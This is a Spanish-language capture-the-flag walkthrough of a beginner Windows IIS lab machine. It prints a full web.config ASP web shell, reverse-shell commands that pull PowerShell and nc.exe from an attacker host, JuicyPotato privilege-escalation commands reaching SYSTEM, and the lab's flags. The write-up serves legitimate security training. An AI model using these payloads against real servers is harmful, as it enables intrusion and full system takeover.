Ensalá Papas (Windows) TheHackersLabs (Principiante)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 14:03 EDT
Nmap scan report for 192.168.28.4
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:7D:13:F9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: -2s
| smb2-time:
| date: 2025-03-19T18:04:32
|_ start_date: 2025-03-19T17:50:15
|_nbstat: NetBIOS name: WIN-4QU3QNHNK7E, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:7d:13:f9 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.21 seconds
Vemos bastantes cosas interesantes, de primeras si entramos en el puerto 80
veremos una pagina alojada en IIS7
sin ninguna pagina como tal alojada, esta por defecto, por lo que no veremos mucho:

Tambien vemos un SMB
, pero vemos que es un SMBv2
por lo que no tiene la vulnerabilidad del EternalBlue
, pero si intentamos enumerar los recursos compartidos del servidor mediante el SMB
pero veremos que no nos muestra nada por lo menos de forma anonima
, por lo que vamos a realizar un poco de fuzzing
hacia el servidor ISS7
.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x aspx,asp,html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.28.4/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,aspx,asp,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/*checkout*.aspx (Status: 400) [Size: 20]
/zoc.aspx (Status: 200) [Size: 1159]
/*docroot*.aspx (Status: 400) [Size: 20]
/*.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fwww.aspx (Status: 400) [Size: 20]
/http%3a.aspx (Status: 400) [Size: 20]
/q%26a.aspx (Status: 400) [Size: 20]
/**http%3a.aspx (Status: 400) [Size: 20]
/*http%3a.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fyoutube.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fblogs.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fblog.aspx (Status: 400) [Size: 20]
/**http%3a%2f%2fwww.aspx (Status: 400) [Size: 20]
/s%26p.aspx (Status: 400) [Size: 20]
/%3frid%3d2671.aspx (Status: 400) [Size: 20]
/devinmoore*.aspx (Status: 400) [Size: 20]
/children%2527s_tent.aspx (Status: 400) [Size: 20]
/how_to%2e%2e%2e.aspx (Status: 400) [Size: 20]
/wanted%2e%2e%2e.aspx (Status: 400) [Size: 20]
/200109*.aspx (Status: 400) [Size: 20]
/*sa_.aspx (Status: 400) [Size: 20]
/*dc_.aspx (Status: 400) [Size: 20]
/help%2523drupal.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fcommunity.aspx (Status: 400) [Size: 20]
/chamillionaire%20%26%20paul%20wall-%20get%20ya%20mind%20correct.aspx (Status: 400) [Size: 20]
/clinton%20sparks%20%26%20diddy%20-%20dont%20call%20it%20a%20comeback%28ruzty%29.aspx (Status: 400) [Size: 20]
/dj%20haze%20%26%20the%20game%20-%20new%20blood%20series%20pt.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fradar.aspx (Status: 400) [Size: 20]
/q%26a2.aspx (Status: 400) [Size: 20]
/login%3f.aspx (Status: 400) [Size: 20]
/shakira%20oral%20fixation%201%20%26%202.aspx (Status: 400) [Size: 20]
/%22britney%20spears%22.aspx (Status: 500) [Size: 3276]
/%22james%20kim%22.aspx (Status: 500) [Size: 3276]
/%22julie%20roehm%22.aspx (Status: 500) [Size: 3276]
/http%3a%2f%2fjeremiahgrossman.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fweblog.aspx (Status: 400) [Size: 20]
/http%3a%2f%2fswik.aspx (Status: 400) [Size: 20]
Progress: 1245858 / 1245864 (100.00%)
===============================================================
Finished
===============================================================
Vemos varias rutas, pero entre ellas la que nos interesa es la del 200 OK
que es el archivo llamado /zoc.aspx
, si entramos en el veremos lo siguiente:

Vemos que podemos subir un archivo, por lo que vamos a intentar subir un .aspx
de forma que se pueda ejecutar codigo remoto hacia el servidor con una interfaz en el archivo para que se vea todas las salidas de comandos de forma comoda y de ahi poder entrar a la maquina con una reverse shell
.
Pero si intentamos subir el archivo nos dara error ya que esta validando el tipo de archivo que se esta subiendo, pero si inspeccionamos la pagina veremos el siguiente comentario:
<!-- /Subiditosdetono -->
Si entramos en el como directorio web, veremos lo siguiente:

Vemos que hay un archivo web.config
que si entramos veremos que nos da un error ya que el archivo no esta, pero podemos crear un archivo llamado asi y meter la configuracion para que podamos ejecutar comandos de forma remota.
Tras investigar mucho encontre en la pagina de HackTricks
un ejemplo de web.config
que contiene lo siguiente:
web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->
URL = web.config Example Info
URL = Download web.config
Ahora lo subiremos desde el archivo /zoc.aspx
y nos pondra lo siguiente:

Ahora si nos vamos a la siguiente ruta para cargar el archivo web.config
con nuestro payload
.
URL = http://<IP>/Subiditosdetono/web.config
Si entramos ahi veremos lo siguiente:

Vemos que el archivo esta cargando de forma correcta, ahora vamos a probar a meter un comando, por ejemplo whoami
y veremos esto:
win-4qu3qnhnk7e\info
Vemos que esta funcionando de forma correcta, por lo que vamos a ingresar el siguiente payload
para obtener una shell
con la maquina victima.
Escalate user win-4qu3qnhnk7e\info
Opcion 1 (reverse shell .ps1)
Podemos crear este codigo en .ps1
:
nano shell.ps1
Dentro del nano:
$LHOST = "<IP>" # Cambia esto por tu IP
$LPORT = <PORT> # Cambia esto por el puerto de escucha
$client = New-Object System.Net.Sockets.TCPClient($LHOST, $LPORT)
$stream = $client.GetStream()
$buffer = New-Object System.Byte[] 1024
$encoding = New-Object System.Text.ASCIIEncoding
do {
$stream.Read($buffer, 0, $buffer.Length) | Out-Null
$cmd = $encoding.GetString($buffer).Trim()
if ($cmd -eq "exit") { break }
$output = (Invoke-Expression -Command $cmd 2>&1 | Out-String)
$response = $encoding.GetBytes($output + "`nPS > ")
$stream.Write($response, 0, $response.Length)
$stream.Flush()
} while ($true)
$client.Close()
Esto lo guardamos y abriremos metasploit
pata ponernos a la escucha.
msfconsole -q
Ahora lo configuraremos de la siguiente forma:
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run
Abrimos un servidor de python3
en nuestro host
para que obtenga el archivo shell.ps1
y lo ejecute.
python3 -m http.server 8000
Ahora vamos a la web.config
y pondremos el siguiente comando:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<IP>:8000/shell.ps1')"
Si vamos a donde tenemos la escucha de metasploit
veremos lo siguiente:
[*] Started reverse TCP handler on 192.168.28.5:7777
[*] Powershell session session 1 opened (192.168.28.5:7777 -> 192.168.28.4:49160) at 2025-03-20 11:13:00 -0400
PS > whoami
win-4qu3qnhnk7e\info
Opcion 2 (Reverse Shell SMB) RECOMENDADO!!
RECOMENDADO!!
Tambien podemos generarnos una reverse shell
mediante un servidor
de SMB
abierto desde nuestro host
, para que desde el web.config
ejecutar un comando para ejecutar un nc.exe
desde nuestro servidor de SMB
.
Primero tendremos que copiarnos el ejecutable nc.exe
a nuestro directorio actual.
cp /usr/share/windows-binaries/nc.exe .
Una vez copiado nuestro binario de netcat
vamos abrirnos el servidor de SMB
:
impacket-smbserver -smb2support kali .
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Ahora desde la pagina de web.config
ejecutaremos lo siguiente:
\\<IP_ATTACKER>\kali\nc.exe -e cmd <IP_ATTACKER> <PORT>
Con esto lo que haremos sera conectarnos a nuestro servidor de SMB
para ejecutar el binario nc.exe
y seguidamente estamos estableciendo una conexion a dicho puerto
e IP
.
Antes de enviarlo nos tendremos que poner a la escucha de la siguiente forma:
nc -lvnp <PORT>
Ahora si enviamos ese payload
en el web.config
y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.28.5] from (UNKNOWN) [192.168.28.4] 49160
Microsoft Windows [Versi�n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
c:\windows\system32\inetsrv> whoami
win-4qu3qnhnk7e\info
Veremos que ha funcionado por lo que leeremos la flag
del usuario.
user.txt
uigsg5sdfdfbv5b6sad98vcdf
Escalate Privileges
Vamos a ver que privilegios tenemos:
whoami /priv
Info:
INFORMACI?N DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci?n Estado
============================= ============================================ =============
SeChangeNotifyPrivilege Omitir comprobaci?n de recorrido Habilitada
SeImpersonatePrivilege Suplantar a un cliente tras la autenticaci?n Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
Vemos que SeImpersonatePrivilege
esta habilitado
.
Es muy similar a SeImpersonatePrivilege
, utilizará el mismo método para obtener un token privilegiado. Luego, este privilegio permite asignar un token primario a un proceso nuevo/suspendido. Con el token
de suplantación privilegiado puedes derivar un token primario (DuplicateTokenEx)
. Con el token
, puedes crear un nuevo proceso con 'CreateProcessAsUser'
o crear un proceso suspendido y establecer el token (en general, no puedes modificar el token primario de un proceso en ejecución).
URL = Info SeImpersonatePrivilege
Vamos a descargarnos en nuestro hosts
el binario malicioso llamado JuicyPotato.exe
:
URL = Download JuicyPotato.exe
Ahora nos lo vamos a pasar a la maquina victima ejecutando este comando desde la maquina victima:
Antes abriremos un servidor de python3
para que se lo pueda descargar:
python3 -m http.server 8000
Y ahora si podremos ejecutar el siguiente comando:
mkdir C:\Temp
cd C:\Temp
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<IP_ATTACKER>:8000/JuicyPotato.exe', 'C:\Temp\JuicyPotato.exe')"
Si esto fallara podremos hacerlo directamente desde el SMB
poniendo lo siguiente:
\\<IP_ATTACKER>\kali\JuicyPotato.exe
Quedando algo asi el payload
:
\\<IP_ATTACKER>\kali\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/C \\<IP_ATTACKER>\kali\nc.exe -e cmd.exe <IP_ATTACKER> <PORT>" -t *
Pero si tuvieramos el binario directamente podremos hacerlo de la siguiente forma:
JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/C \\<IP_ATTACKER>\kali\nc.exe -e cmd.exe <IP_ATTACKER> <PORT>" -t *
Info:
JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/C \\192.168.28.5\kali\nc.exe -e cmd.exe 192.168.28.5 5555" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
COM -> recv failed with error: 10038
Vemos que nos esta dando un error relacionado con las CLSIDs
por lo que vamos a utilizar otras genericas que suelen funcionar en un Windows Server 2008
:
===================LISTA_CLSID====================
{4991d34b-80a1-4291-83b6-3328366b9097} -> ERROR
{e60687f7-01a1-40aa-86ac-db1cbf673334} -> CORRECTA
{ba126ad1-2166-11d1-b1d0-00805fc1270e} -> NO TESTEADA
==================================================
Si por ejemplo probamos con esta generica {e60687f7-01a1-40aa-86ac-db1cbf673334}
veremos que si nos funciona:
Pero antes nos pondremos a la escucha con el puerto que especifiquemos en la herramienta JuicyPotato.exe
.
nc -lvnp <PORT>
Ahora si ejecutamos de nuevo con el nuevo CLSID
de la siguiente manera:
JuicyPotato.exe -l 1337 -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}" -p c:\windows\system32\cmd.exe -a "/C \\<IP_ATTACKER>\kali\nc.exe -e cmd.exe <IP_ATTACKER> <PORT>" -t *
Info:
JuicyPotato -l 1337 -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}" -p c:\windows\system32\cmd.exe -a "/C \\192.168.28.5\kali\nc.exe -e cmd.exe 192.168.28.5 5555" -t *
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 1337
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Con esto veremos que ha funcionado, por lo que si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 5555 ...
connect to [192.168.28.5] from (UNKNOWN) [192.168.28.4] 49178
Microsoft Windows [Versi�n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Windows\system32>whoami
nt authority\system
Vemos que seremos ya nt authority\system
por lo que habremos terminado la maquina, ahora leeremos la flag
del administrador
.
root.txt
jbeaf7gvser79aw6vvbf78wrgv
Last updated